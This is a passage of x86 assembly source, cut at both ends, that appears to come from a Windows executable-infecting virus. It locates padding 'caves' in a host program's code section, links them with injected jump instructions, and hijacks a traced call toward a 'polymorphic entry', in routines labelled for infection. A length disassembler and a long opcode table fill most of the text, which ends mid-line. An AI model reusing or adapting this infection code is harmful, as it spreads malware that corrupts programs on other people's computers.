gothootme: xor eax,eax ret caca1: mov eax,-1 mov ebx,-1 ; errorit ret loadcave: mov ebx,dword ptr [edx+20] add ebx,esi mov ecx,dword ptr [edx+16] getonecave: cmp dword ptr [ebx],0CCCCCCCCh ; seek for int 3 je googoom ; places inc ebx loop getonecave mov ebx,-1 ret googoom: push ecx push ebx mov ecx,eax getitsan: cmp byte ptr [ebx],0CCh ; watch if exact size jne goawaycave inc ebx loop getitsan pop ecx sub ebx,eax ; not found, search after pop ecx ret goawaycave: ; we got it pop ecx sub ecx,ebx neg ecx add ecx,dword ptr [esp] add esp,4 jmp getonecave Offset2RVA: sub ebx,esi sub ebx,dword ptr [edx+20] add ebx,dword ptr [edx+12] ret makeaconnectjmp: push ebx mov byte ptr [ebx],0E9h mov eax,ebx add ebx,5 call Offset2RVA ; connect jumps cmp ebx,-1 je stopinfection push ebx sub ebx,dword ptr [esp+4+4+4+connectval] neg ebx mov dword ptr [eax+1],ebx pop ebx sub ebx,5 mov dword ptr [esp+4+4+connectval], ebx pop ebx ret hookres: pushad sub esp,20 callcount equ 0 lastcall equ 4 fixstart equ 8 fixload equ 12 fixedx equ 16 mov dword ptr [esp+callcount],0 ; fix callcount value mov dword ptr [esp+lastcall],0 ; fix lastcall value mov dword ptr [esp+fixstart],esi ; fix fixstart value mov dword ptr [esp+fixload],edi ; fix fixload value mov dword ptr [esp+fixedx],edx ; fix fixedx value ;push edx ;push esi mov eax,dword ptr [edi+128] call RVA2Offset mov ecx,eax and eax,000001111111100000000b shr eax,6 add eax,dword ptr [esi+ecx+16] ; start of import add eax,dword ptr [edi+52] ; eax = start of import mov ecx,dword ptr [edx+16] ; start of code mov eax,dword ptr [edi+40] call RVA2Offset add esi,eax mov ebp,edx mov ecx,2048 loopitlong: push ecx call disasmit ; disasm instruction pop ecx dec ecx cmp ecx,0 je timetogiveup ; 2048 instruction ; passed ? cmp eax,-1 je timetogiveup cmp ebx,iiRET jne contimetogiveup ; a ret found ? cmp dword ptr [esp+callcount],1 ja timetogiveup ; too much callcount ? cmp dword ptr [esp+callcount],0 je loopitlong ; mov esi,dword ptr [esp+lastcall] ; set esi the call ; originator mov dword ptr [esp+callcount],0 mov dword ptr [esp+lastcall],0 jmp loopitlong contimetogiveup: cmp eax,5 jne loopitlong cmp ebx,iiJMP jne checkCALL ; if instruction was ; a jump push esi add esi,edx mov edx,dword ptr [esp+4+fixstart] ; jump there then add edx,dword ptr [ebp+20] cmp edx,esi ja jmpgoaway add edx,dword ptr [ebp+16] cmp edx,esi jb jmpgoaway ; valid jump ? mov dword ptr [esp],esi jmpgoaway: pop esi checkCALL: cmp ebx,iiCALL ; was a call ? jne loopitlong mov dword ptr [esp+lastcall],esi ; set instruction inc dword ptr [esp+callcount] ;cmp dword ptr [esp+callcount],1 ;jne loopitlong cmp dword ptr [esp+callcount],1 ja loopitlong add esi,edx ; not too low call, trace it! jmp loopitlong timetogiveup: mov eax,dword ptr [esp+4] mov edi,dword ptr [esp+fixload] ; load the last call cmp eax,0 je skipthisoneP ; noone ? bad news ! mov ebx,dword ptr [eax-4] xchg ebx,dword ptr [edi-10] ; load the value mov eax,dword ptr [esp+lastcall] ; make the last call sub eax,dword ptr [esp+fixstart] ; linking to start of mov edx,dword ptr [esp+fixedx] ; mini messing routine add eax,dword ptr [edx+12] ; that is a linker to the sub eax,dword ptr [edx+20] ; polymorphic entry sub eax,ebx neg eax mov edx,dword ptr [esp+4] mov dword ptr [edx-4],eax skipthisoneP: add esp,20 popad ret disasmit: sub esp,t4sizeof ; just a simple disasm :) call getnext5 getnext5: pop ebx lea ebx,[ebx+iitable-getnext5] mov edi,esp push esi push edi push ebx call tab@disasm pop ebx pop edi pop esi cmp dword ptr [esi],0 jne retminusone mov eax,-1 retminusone: movzx ecx,byte ptr [edi+t4size] add esi,ecx cmp eax,-1 je retanyway movzx eax,byte ptr [edi+t4argum+t4argtype] mov ebx,dword ptr [edi+t4insoff] mov edx,dword ptr [edi+t4argum+t4argvalue] retanyway: add esp, t4sizeof ret ; ; This part of program should translate a binary into computable ; comprehensible structure, see table1 ; ; esi = offset to instruction ; edi = offset to the t4 strucute ; ebx = offset to table ; tab-4 structre ; ; 0 - prefixes t4prefix equ 0 ; 1 - w type.word type value t4word equ 1 ; 2 - o type.operand type value t4oper equ 2 ; 3 - r type.register value t4reg equ 3 ; 4 - m type.memory register value t4mem equ 4 ; 5 - s type.segment type value t4seg equ 5 ; 6 - c type.condition type value t4cond equ 6 ; 7 - codec value: 0 = 32 bit 1 = 16 bit t4codec equ 7 ; 8 - offset of instruction t4offset equ 8 ; ; 12 - operand 1 type: 0 = value, 1 = reg, 2 = mem, ; 3 = extended, 4 = destination t4argum equ 12 t4argsizeof equ 8 t4argum2 equ t4argum+t4argsizeof t4argtype equ 0 t4argsize equ 1 t4argextreg equ 2 t4argvalsize equ 3 t4argvalue equ 4 ;+1 - 13 - affected size ;+2 - 14 - (if) extended value (… la intel: aabbbccc = b+(c*2^a) ;+3 - 15 - value size (1-2-4) ;+4 - 16 - value ; ; 20 - respect the same structure as upper ; 21-22-23-24 ; ; Offset designed for communication with other t4 modules ; ; 28 - offset from beginning of the table of the precise instr. t4taboff equ t4argum + t4argsizeof + t4argsizeof ; 32 - offset from beginning of the table of the instruction t4insoff equ t4taboff + 4 ; 36 - offset from beginning of the table of the operand t4opoff equ t4insoff +4 ; 40 - cleaned instruction t4clean equ t4opoff + 4 ; 44 - instruction size (a byte) t4size equ t4clean+4 ; t4sizeof equ t4size + 1 tab@disasm: push ebp sub esp,16 tab@valcounter equ 8 tab@origoff equ 4 tab@orignow equ 0 mov ebp,ebx mov byte ptr [edi+t4prefix],0 mov dword ptr [edi+t4taboff],ebp ; set some datas mov dword ptr [edi+t4offset],esi ; for further purpose xchg ebp,esi mov dword ptr [esp+tab@valcounter],0 ; make a counter ; for operands loop testagainintable: cmp byte ptr [esi],1 jne tab@skipprefix ; don't analyze ; prefixes operation mov al,byte ptr [esi+1] cmp byte ptr [ebp],al ; look if jne tab@skipprefix0 ; we don't have ; set it yet mov cl,byte ptr [esp+tab@valcounter] ; watch were ; in table ror byte ptr [edi+t4prefix],cl bt dword ptr [edi+t4prefix],0 ; have we set it? jc tab@skipprefix0 or byte ptr [edi+t4prefix],1 ; no, the set it rol byte ptr [edi+t4prefix],cl mov esi,dword ptr [edi+t4taboff] mov byte ptr [esp+tab@valcounter],-1 sub esi,2 ; we need to inc ebp ; restart from the ; begining tab@skipprefix0: ; (to avoid such ; 6666h anti dis) inc dword ptr [esp+tab@valcounter] ; go again add esi,2 ; take next entry jmp testagainintable tab@skipprefix: movzx eax,byte ptr [esi] ; load current mov edx,eax ; instruction and eax,0F0h ; in table and edx,00Fh ror eax,4 ; load size/type mov byte ptr [esp+tab@valcounter],al ; save size push esi cmp eax,4 jne allokay ; check if 4 dec eax ; +4 byte ins dec eax ; are saved on 2 :) allokay: mov dword ptr [edi+t4opoff],esi ; save instruction ; offset detect1: cmp edx,0 ; check if we jne detect2 ; have a zero ; type mov dword ptr [esp+4+tab@origoff],esi ; (instruction) mov dword ptr [esp+4+tab@orignow],esi ; set instruction/ mov dword ptr [edi+t4insoff],esi ; argument as detect. mov ebx,dword ptr [esi+eax+3] ; load argument add esi,3 ; point to instruc. call testentry ; load instruction pop esi lea esi,[esi+eax+7] ; point to end of ins. detect2: cmp edx,1 ; check for an inst jne detect3 ; w/o operand mov dword ptr [edi+t4insoff],esi ; then save ins mov ebx,dword ptr [esp+4+tab@origoff] ; save instr. mov dword ptr [esp+4+tab@orignow],ebx ; from the sliding(*) mov ebx,dword ptr [ebx+eax+3] ; load operand inc esi call testentry ; check instruction pop esi lea esi,[esi+eax+1] detect3: cmp edx,2 ; compare a variance jne detect4 ; with instruct. mov dword ptr [edi+t4opoff],esi mov ebx,dword ptr [esi+eax+3] add esi,3 ; point to instr. call testentry ; check ins. pop esi lea esi,[esi+eax+7] ; go to next instr. detect4: cmp edx,3 jne detect5 mov ebx,dword ptr [esp+4+tab@orignow] ; load operand mov dword ptr [edi+t4opoff],ebx mov ebx,dword ptr [ebx+eax+3] inc esi ; point to start call testentry ; of the table pop esi lea esi,[esi+eax+1] ; go to next detect5: add dword ptr [esp+tab@orignow],eax add dword ptr [esp+tab@orignow],7 ; save everything cmp byte ptr [esi],-1 ; check end of jne tab@skipprefix ; table xchg esi,ebp add esp,16 ; arrange stack pop ebp ; restore point. xor eax,eax dec eax ; return -1 ret ; error code testentry: push eax xor eax,eax ; nullify register buffer xor ecx,ecx ; nullify counter mov cl,byte ptr [esp+4+4+4+tab@valcounter] mov byte ptr [edi+t4size],cl ; get instruction size cmp cl,4 jne dontdecit dec ecx ; if it's 4, then it should mov byte ptr [edi+t4size],cl ; be 3 (there's no > 3 bytes) dontdecit: xor edx,edx ; push ecx tab@makeloop1: rol edx, 8 ; load the binary rol eax, 8 ; mov dl,0FFh mov al,byte ptr [esi] ; load next entry inc esi loop tab@makeloop1 pop ecx cmp ecx,3 jne tab@dondonet ; if size was three mov al,0Fh ; put the last part tab@dondonet: mov ecx,dword ptr [ebp] and ecx,edx cmp ecx,0Fh je tab@skipfoundit ; skip analyzing ; push eax mov edx,ecx mov dword ptr [edi+t4oper],0 ; nullify flags mov dword ptr [edi+t4mem],0 mov eax,011b call getvalb mov byte ptr [edi+t4oper],cl ; o type sub edx,eax mov eax,01b call getvalb mov byte ptr [edi+t4word],cl ; w type sub edx,eax mov eax,0111b call getvalb mov byte ptr [edi+t4mem],cl ; m type sub edx,eax mov eax,0111b call getvalb mov byte ptr [edi+t4reg],cl ; r type sub edx,eax mov eax,0111b call getvalb mov byte ptr [edi+t4seg],cl ; s type sub edx,eax mov eax,01111b call getvalb mov byte ptr [edi+t4cond],cl ; c type sub edx,eax pop ecx cmp ecx,edx je tab@wefoundit ; is it okay tab@skipfoundit: xor edx,edx pop eax ; restore eax ret getvalb: push edx push ebx and ebx,11111b ; see flags location shr dword ptr [esp],5 ; load next location in flag mov cl,bl cmp bl,0 je tab@nullskip0 ; if zero, dont apply xchg eax,edx ; tab@doitagain: ror edx,1 ; shift bit to big endian ; and shift of the size cmp dl,0 ; bit length size jne tab@doitagain xchg al,ah ror eax,16 ; pass to big endian xchg al,ah ror edx,cl ; go to the pos. and eax,edx ; nullify it push eax ; save it xchg al,ah ror eax,16 xchg al,ah ; and then come back pop ecx doitagainp: rol ecx,1 rol edx,1 ; go to next cmp edx,0FFh ja doitagainp ; watch it pop ebx pop edx ; return with eax = value ret tab@nullskip0: pop ebx pop edx xor eax,eax ; finish it mov cl,-1 ; return with -1 ret tab@wefoundit: mov dword ptr [edi+t4clean],edx ; save the clean instruction pop esi pop esi pop esi ; restore stack mov eax,dword ptr [edi+t4taboff] sub dword ptr [edi+t4taboff],esi ; save the instruction neg dword ptr [edi+t4taboff] sub dword ptr [edi+t4insoff],eax ; fix up instruction off sub dword ptr [edi+t4opoff],eax ; and operation offset mov esi,dword ptr [esp+tab@orignow] ; load attrib fixed movzx eax,byte ptr [edi+t4size] ; get instruction size add ebp,eax ; add to ebp mov al,byte ptr [esi+1] ; push esi lea esi,[edi+t4argum] ; load 1st argument call getoperand pop esi push esi mov al,byte ptr [esi+2] ; load 2nd argument lea esi,[edi+t4argum2] call getoperand pop esi sub ebp,dword ptr [edi+t4offset] ; render instruction size mov eax,ebp ; now mov byte ptr [edi+t4size],al add esp,16 pop ebp ret getoperand: mov dword ptr [esi],-1 ; mov dword ptr [esi+4],-1 ; cmp al,0 jne thatnotme0 ; check if arg is null mov byte ptr [esi+t4argtype],-1 ret thatnotme0: xor ecx,ecx mov byte ptr [esi+t4argtype],1 ; set as register cmp al,AccWord ; pay attention to ja notAcc ; accumulators mov dl,0 ; set the size cmp al,Acc jne getother inc dl ; size is may be 8 bit getother: call getsize ; load the register size mov byte ptr [esi+t4argsize],dl ; mov byte ptr [esi+t4argextreg],0 ; ret notAcc: cmp al,DX0 ; check if we have DX jne notDX0 ; as ex OUT mov byte ptr [esi+t4argsize],2 mov byte ptr [esi+t4argextreg],2 ; pseudo construction ret notDX0: cmp al,CL0 jne notCL0 ; check if we have a CL comp. mov byte ptr [esi+t4argsize],1 ; as exemple mov byte ptr [esi+t4argextreg],1 ret notCL0: cmp al,RegWord ; watch if we need a register ja notreg mov dl,byte ptr [edi+t4reg] mov byte ptr [esi+t4argextreg],dl ; set reg value metestit: mov edx,4 cmp al,Reg32 ; watch register size je fixit mov edx,2 cmp al,Reg16 je fixit mov edx,1 cmp al,Reg8 je fixit xor dl,dl cmp al,RegWord jne skipincit inc dl skipincit: call getsize ; if not checked, detect it fixit: mov byte ptr [esi+t4argsize],dl ; fix reg size ret notreg: xor ecx,ecx ; mov byte ptr [esi+t4argtype],0 ; set then we have a value cmp al,d1 jne notD1 ; watch if the value is not by def 1. mov byte ptr [esi+t4argsize],1 mov byte ptr [esi+t4argvalsize],1 mov dword ptr [esi+t4argvalue],1 ret notD1: cmp al,Imm32 ; check if we have a calssic Imm ja notImm Gotimm: sub al,Imm32-Reg32 call metestit ; self detect size loadit: cmp dl,1 jne doitbt ; fill value depending the size mov al,byte ptr [ebp] mov byte ptr [esi+t4argvalue],al doitbt: cmp dl,2 jne doitbt2 mov ax,word ptr [ebp] mov word ptr [esi+t4argvalue],ax ; copy word doitbt2: cmp dl,4 jne additanyway ; check dword mov eax,dword ptr [ebp] mov dword ptr [esi+t4argvalue],eax ; copy it additanyway: mov byte ptr [esi+t4argvalsize],dl add ebp,edx ; add to instruction ptr ret ; thats all folks ; Meeeeeeeeeeeeeeeeeeemory! --------------------------------------------- notImm: Thatsmem1: mov byte ptr [esi+t4argtype],2 ; fill as it was memoery cmp eax,MemWord ja notMem Thatsmem: sub eax,MemWord-RegWord ; load memory size call metestit mov al,byte ptr [edi+t4mem] mov byte ptr [esi+t4argextreg],al ; cmp byte ptr [edi+t4oper],11b jne dontrefix ; is it a register? mov byte ptr [esi+t4argtype],1 ; switch type tadam: ret dontrefix: xor edx,edx cmp al,100b jne notextended ; watch if we have ; extended reg inc byte ptr [esi+t4argtype] ; set it to 3 mov dl,byte ptr [ebp] mov byte ptr [esi+t4argextreg],dl ; inc ebp and dl,111b ; not an extend2 cmp dl,101b jne notextended jmp tadam2 notextended: cmp byte ptr [edi+t4oper],0 ; check operator 0 jne notextended2 cmp al,101b ; not an extend2 jne tadam bt dword ptr [edi+t4oper],1 ; check if we are jnc notamam ; switched mode add byte ptr [esi+t4argsize],20 ; put a warning about inc edx notextended2: cmp byte ptr [edi+t4oper],01b ; check if the jne tadam2 ; following val is a ; a bit mov dl,1 jmp loadit tadam2: inc ecx call getsize ; get the size jmp loadit ; load it notMem: cmp eax, MemOffs ; check if we have jne notMemOfs ; a memofs notamam: call getsize mov byte ptr [esi+t4argsize],dl jmp tadam2 ; do it! notMemOfs: cmp eax,Far0 jne getNear0 ; check if we have mov edx,6 ; a far dest jmp loadit ; just fix the size getNear0: mov byte ptr [esi+t4argtype],5 cmp eax,Near0 ; check if we have jne NotShort0 ; Near, load near ; val mov dl,4 jmp loadit NotShort0: mov byte ptr [esi+t4argtype],6 cmp eax,Short0 ; watch if we have jne NotDisp0 ; a short mov dl,1 jmp loadit ; load the value NotDisp0: mov byte ptr [esi+t4argtype],7 ; cmp eax,MemFar ja notfar mov eax,Mem ; we now have a mem jmp Thatsmem notfar: mov byte ptr [esi+t4argtype],9 ; set arg type 9 ; here we begin cmp eax,CRn ; strange operands ja notCRn sub eax,DRn ; watch for CRn/TRn/DRn add byte ptr [esi+t4argtype],al mov al,byte ptr [edi+t4seg] mov byte ptr [esi+t4argextreg],al ret notCRn: mov byte ptr [esi+t4argtype],12 ; then watch if cmp eax,SegOld ; we have a seg/segold ja notSegType mov al,byte ptr [edi+t4seg] mov byte ptr [esi+t4argextreg],al ret notSegType: inc byte ptr [esi+t4argtype] cmp eax,Mem64 ; watch for a MEM64 ja notBlahType mov eax,Mem32 jmp Thatsmem ret notBlahType: cmp eax, MemWIm8 ; watch for 3 operand operation ja notMemWtype mov byte ptr [esi+t4argtype],2 push eax mov eax,MemWord ; load it as a word call Thatsmem add byte ptr [esi+t4argtype],15 ; set strange type pop eax sub esi,t4argsizeof ; then modify the b4 arg push word ptr [esi] mov edx,Imm ; and watch how to mod it. cmp eax,MemWImm je notMemRegW8 mov edx,Imm8 notMemRegW8: mov eax,edx ; then get the edx call Gotimm ; get the imediate pop word ptr [esi] notMemWtype1: ret notMemWtype: cmp eax, RegWIm8 ja notMemWtype1 ; watch if have a RegW/MemW push eax mov eax,RegWord call getoperand ; load the reg pop eax mov byte ptr [esi+t4argtype],18 ; mov byte ptr [esi+t4argvalue],-2 ; then set the type cmp eax,RegWCl je notMemWtype1 ; skip loading the value mov dl,1 jmp loadit ; tadam ------------------------------------ getsize: cmp ecx,1 jne skipMembit ; well, we don't word analyse bt dword ptr [edi+t4prefix],1 ; check if we have a dword jc makeit2 makeit4: mov edx,4 ; extended word ret skipMembit: cmp dl,1 je skip8bit ; skip the 8 bit cmp byte ptr [edi+t4word],0 ; check if we have a jne skip8bit mov dl,1 ; set 8 bit ret skip8bit: bt dword ptr [edi+t4prefix],0 jnc makeit4 ; check if prefix is 16 bit ; all normal, then set dword makeit2: mov edx,2 ; return a word ret NULL equ 0 d1 equ 100 Acc equ 2 AccWord equ 3 Reg equ 4 Reg8 equ 5 Reg16 equ 6 Reg32 equ 7 RegWord equ 8 Imm equ 9 Imm8 equ 10 Imm16 equ 11 Imm32 equ 12 Mem equ 13 Mem8 equ 14 Mem16 equ 15 Mem32 equ 16 MemWord equ 17 ; O think so :) MemOffs equ 18 Far0 equ 19 Short0 equ 20 Near0 equ 21 MemFar equ 22 DX0 equ 24 CL0 equ 25 DRn equ 26 TRn equ 27 CRn equ 28 Seg0 equ 29 SegOld equ 30 Mem64 equ 31 MemWImm equ 32 MemWIm8 equ 33 RegWCl equ 34 RegWIm8 equ 35 ImmNEAR equ Imm16 ImmFAR equ Imm16 pRVb equ 00000001b ; -S pRV equ 00000010b ; T- pCS equ 00000100b ; -A pDS equ 00001000b ; R- pES equ 00010000b ; -Z pFS equ 00100000b ; E- pGS equ 01000000b ; -R pSS equ 10000000b ; 0- instruction macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype iip&name&: ii&name& equ iip&name& - iitable db 0+((size/8)*16) ; 0 db operand1,operand2 ; 2-3 dw &binary& ; 5 dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype ; db '&name&',-1 ii_&name&_end: endm instructionb macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype iip&name&: ii&name& equ iip&name& - iitable db 1+((size/8)*16) ; 0 dw &binary& ; 5 ; db '&name&',-1 ii_&name&_end: endm variance macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype db 2+((size/8)*16) db operand1,operand2 ; 1 dw &binary& ; 4 + 2 = 6 dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype ; db -1 endm varianceb macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype db 3+((size/8)*16) dw &binary& ; 4 + 2 = 6 ; db -1 endm instruction8 macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype iip&name&: ii&name& equ iip&name& - iitable db 0+((size/8)*16) ; 0 db operand1,operand2 ; 2-3 db &binary& ; 5 dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype ; db '&name&',-1 ii_&name&_end: endm instruction8b macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype iip&name&: ii&name& equ iip&name& - iitable db 1+((size/8)*16) ; 0 db &binary& ; 5 ; db '&name&',-1 ii_&name&_end: endm variance8 macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype db 2+((size/8)*16) db operand1,operand2 ; 1 db &binary& ; 4 + 2 = 6 dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype ; db -1 endm variance8b macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype db 3+((size/8)*16) db &binary& ; 4 + 2 = 6 ; db -1 endm instruction16 macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype iip&name&: ii&name& equ iip&name& - iitable db 0+((size/8)*16) ; 0 db operand1,operand2 ; 2-3 dw &binary& ; 5 dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype ; db '&name&',-1 ii_&name&_end: endm instruction16b macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype iip&name&: ii&name& equ iip&name& - iitable db 1+((size/8)*16) ; 0 dw &binary& ; 5 ; db '&name&',-1 ii_&name&_end: endm variance16 macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype db 2+((size/8)*16) db operand1,operand2 ; 1 dw &binary& ; 4 + 2 = 6 dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype ; db -1 endm variance16b macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype db 3+((size/8)*16) dw &binary& ; 4 + 2 = 6 ; db -1 endm prefix macro operand1, binary db 1 db binary endm ; 159 different intruction recognized - 371 total entries iitable: prefix pRV , 01100110b ; 66h prefix pRVb , 01100111b ; 67h prefix pCS , 00101110b prefix pDS , 00111110b prefix pES , 00100110b prefix pFS , 01100100b prefix pGS , 01101101b prefix pSS , 00110110b ; Intel opcode include (Crunched version) revision 1 by Star0/Ikx instruction16 ADD , Reg , Mem , 0000001000000000b , 16, 7, 8, 10, 13, 0, 0 variance16 Mem , Reg , 0000000000000000b , 16, 7, 8, 10, 13, 0, 0 variance8 Acc , Imm , 00000100b , 8, 7, 0, 0, 0, 0, 0 variance16 Mem , Imm8 , 1000001000000000b , 16, 7, 8, 0, 13, 0, 0 variance16 Mem , Imm , 1000000000000000b , 16, 7, 8, 0, 13, 0, 0 instruction16b ADC , Reg , Mem , 0001001000000000b , 16, 7, 8, 10, 13, 0, 0 variance16b Mem , Reg , 0001000000000000b , 16, 7, 8, 10, 13, 0, 0 variance8b Acc , Imm , 00010100b , 8, 7, 0, 0, 0, 0, 0 variance16b Mem , Imm8 , 1000001000010000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm , 1000000000010000b , 16, 7, 8, 0, 13, 0, 0 instruction16b SUB , Reg , Mem , 0010101000000000b , 16, 7, 8, 10, 13, 0, 0 variance16b Mem , Reg , 0010100000000000b , 16, 7, 8, 10, 13, 0, 0 variance8b Acc , Imm , 00101100b , 8, 7, 0, 0, 0, 0, 0 variance16b Mem , Imm8 , 1000001000101000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm , 1000000000101000b , 16, 7, 8, 0, 13, 0, 0 instruction16b AND , Reg , Mem , 0010001000000000b , 16, 7, 8, 10, 13, 0, 0 variance16b Mem , Reg , 0010000000000000b , 16, 7, 8, 10, 13, 0, 0 variance8b Acc , Imm , 00100100b , 8, 7, 0, 0, 0, 0, 0 variance16b Mem , Imm8 , 1000001000100000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm , 1000000000100000b , 16, 7, 8, 0, 13, 0, 0 instruction16b CMP , Reg , Mem , 0011101000000000b , 16, 7, 8, 10, 13, 0, 0 variance16b Mem , Reg , 0011100000000000b , 16, 7, 8, 10, 13, 0, 0 variance8b Acc , Imm , 00111100b , 8, 7, 0, 0, 0, 0, 0 variance16b Mem , Imm8 , 1000001000111000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm , 1000000000111000b , 16, 7, 8, 0, 13, 0, 0 instruction16b XOR , Reg , Mem , 0011001000000000b , 16, 7, 8, 10, 13, 0, 0 variance16b Mem , Reg , 0011000000000000b , 16, 7, 8, 10, 13, 0, 0 variance8b Acc , Imm , 00110100b , 8, 7, 0, 0, 0, 0, 0 variance16b Mem , Imm8 , 1000001000110000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm , 1000000000110000b , 16, 7, 8, 0, 13, 0, 0 instruction16b SBB , Mem , Reg , 0001101000000000b , 16, 7, 8, 10, 13, 0, 0 variance16b Reg , Mem , 0001101000000000b , 16, 7, 8, 10, 13, 0, 0 variance8b Acc , Imm , 00011100b , 8, 7, 0, 0, 0, 0, 0 variance16b Mem , Imm8 , 1000001000011000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm , 1000000000011000b , 16, 7, 8, 0, 13, 0, 0 instruction16b OR , Reg , Mem , 0000101000000000b , 16, 7, 8, 10, 13, 0, 0 variance16b Mem , Reg , 0000100000000000b , 16, 7, 8, 10, 13, 0, 0 variance8b Acc , Imm , 00001100b , 8, 7, 0, 0, 0, 0, 0 variance16b Mem , Imm8 , 1000001000001000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm , 1000000000001000b , 16, 7, 8, 0, 13, 0, 0 instruction8 MOV , MemOffs , Acc , 10100010b , 8, 7, 0, 0, 0, 0, 0 variance8 Acc , MemOffs, 10100000b , 8, 7, 0, 0, 0, 0, 0 variance8 Reg , Imm , 10110000b , 8, 4, 0, 5, 0, 0, 0 variance16 Mem , Imm , 1100011000000000b , 16, 7, 8, 0, 13, 0, 0 variance16 Reg , Mem , 1000101000000000b , 16, 7, 8, 10, 13, 0, 0 variance16 Mem , Reg , 1000100000000000b , 16, 7, 8, 10, 13, 0, 0 variance16 Mem16 , Seg0 , 1000110000000000b , 16, 0, 8, 0, 13, 10, 0 variance16 Seg0 , Mem16 , 1000111000000000b , 16, 0, 8, 0, 13, 10, 0 variance Reg32 , CRn , 0010000011000000b , 32, 0, 0, 21, 0, 18, 0 variance CRn , Reg32 , 0010001011000000b , 32, 0, 0, 21, 0, 18, 0 variance Reg32 , DRn , 0010000111000000b , 32, 0, 0, 21, 0, 18, 0 variance DRn , Reg32 , 0010001111000000b , 32, 0, 0, 21, 0, 18, 0 variance Reg32 , TRn , 0010010011000000b , 32, 0, 0, 21, 0, 18, 0 variance TRn , Reg32 , 0010011011000000b , 32, 0, 0, 21, 0, 18, 0 instruction8 INC , RegWord , NULL , 01000000b , 8, 0, 0, 5, 0, 0, 0 variance16 Mem , NULL , 1111111000000000b , 16, 7, 8, 0, 13, 0, 0 instruction8b DEC , RegWord , NULL , 01001000b , 8, 0, 0, 5, 0, 0, 0 variance16b Mem , NULL , 1111111000001000b , 16, 7, 8, 0, 13, 0, 0 instruction8 PUSH , RegWord , NULL , 01010000b , 8, 0, 0, 5, 0, 0, 0 variance16 MemWord , NULL , 1111111100110000b , 16, 0, 8, 0, 13, 0, 0 variance16 Seg0 , NULL , 0000111110000000b , 16, 0, 0, 0, 0, 10, 0 variance8 SegOld , NULL , 00000110b , 8, 0, 0, 0, 0, 2, 0 variance8 Imm8 , NULL , 01101010b , 8, 0, 0, 0, 0, 0, 0 variance8 Imm , NULL , 01101000b , 8, 0, 0, 0, 0, 0, 0 instruction8 POP , RegWord , NULL , 01011000b , 8, 0, 0, 5, 0, 0, 0 variance16 MemWord , NULL , 1000111100000000b , 16, 0, 8, 0, 13, 0, 0 variance16 Seg0 , NULL , 0000111110000001b , 16, 0, 0, 0, 0, 10, 0 variance8 SegOld , NULL , 00000111b , 8, 0, 0, 0, 0, 2, 0 instruction8 RET , NULL , NULL , 11000011b , 8, 0, 0, 0, 0, 0, 0 variance8 ImmNEAR , NULL , 11000010b , 8, 0, 0, 0, 0, 0, 0 instruction8 RETF , NULL , NULL , 11001011b , 8, 0, 0, 0, 0, 0, 0 variance8 ImmFAR , NULL , 11001010b , 8, 0, 0, 0, 0, 0, 0 instruction8 Jcc , Short0 , NULL , 01110000b , 8, 0, 0, 0, 0, 0, 4 variance16 Near0 , NULL , 0000111110000000b , 16, 0, 0, 0, 0, 0, 12 instruction16 CALL , MemFar , NULL , 1111111100011000b , 16, 0, 8, 0, 13, 0, 0 variance8 Near0 , NULL , 11101000b , 8, 0, 0, 0, 0, 0, 0 variance8 Far0 , NULL , 10011010b , 8, 0, 0, 0, 0, 0, 0 variance16 Mem , NULL , 1111111100010000b , 16, 0, 8, 0, 13, 0, 0 instruction16 JMP , MemFar , NULL , 1111111100101000b , 16, 0, 8, 0, 13, 0, 0 variance8 Short0 , NULL , 11101011b , 8, 0, 0, 0, 0, 0, 0 variance8 Near0 , NULL , 11101001b , 8, 0, 0, 0, 0, 0, 0 variance8 Far0 , NULL , 11101010b , 8, 0, 0, 0, 0, 0, 0 variance16 Mem , NULL , 1111111100100000b , 16, 0, 8, 0, 13, 0, 0 instruction8 JCXZ , Short0 , NULL , 11100011b , 8, 0, 0, 0, 0, 0, 0 instruction8b LOOP , Short0 , NULL , 11100010b , 8, 0, 0, 0, 0, 0, 0 instruction8b LOOPZ , Short0 , NULL , 11100001b , 8, 0, 0, 0, 0, 0, 0 instruction8b LOOPNZ , Short0 , NULL , 11100000b , 8, 0, 0, 0, 0, 0, 0 instruction16 MUL , Mem , NULL , 1111011000100000b , 16, 7, 8, 0, 13, 0, 0 instruction16 NEG , Mem , NULL , 1111011000011000b , 16, 7, 8, 0, 13, 0, 0 instruction16 NOT , Mem , NULL , 1111011000010000b , 16, 7, 8, 0, 13, 0, 0 instruction16 RCL , Mem , d1 , 1101000000010000b , 16, 7, 8, 0, 13, 0, 0 variance16 Mem , CL0 , 1101001000010000b , 16, 7, 8, 0, 13, 0, 0 variance16 Mem , Imm8 , 1100000000010000b , 16, 7, 8, 0, 13, 0, 0 instruction16b RCR , Mem , d1 , 1101000000011000b , 16, 7, 8, 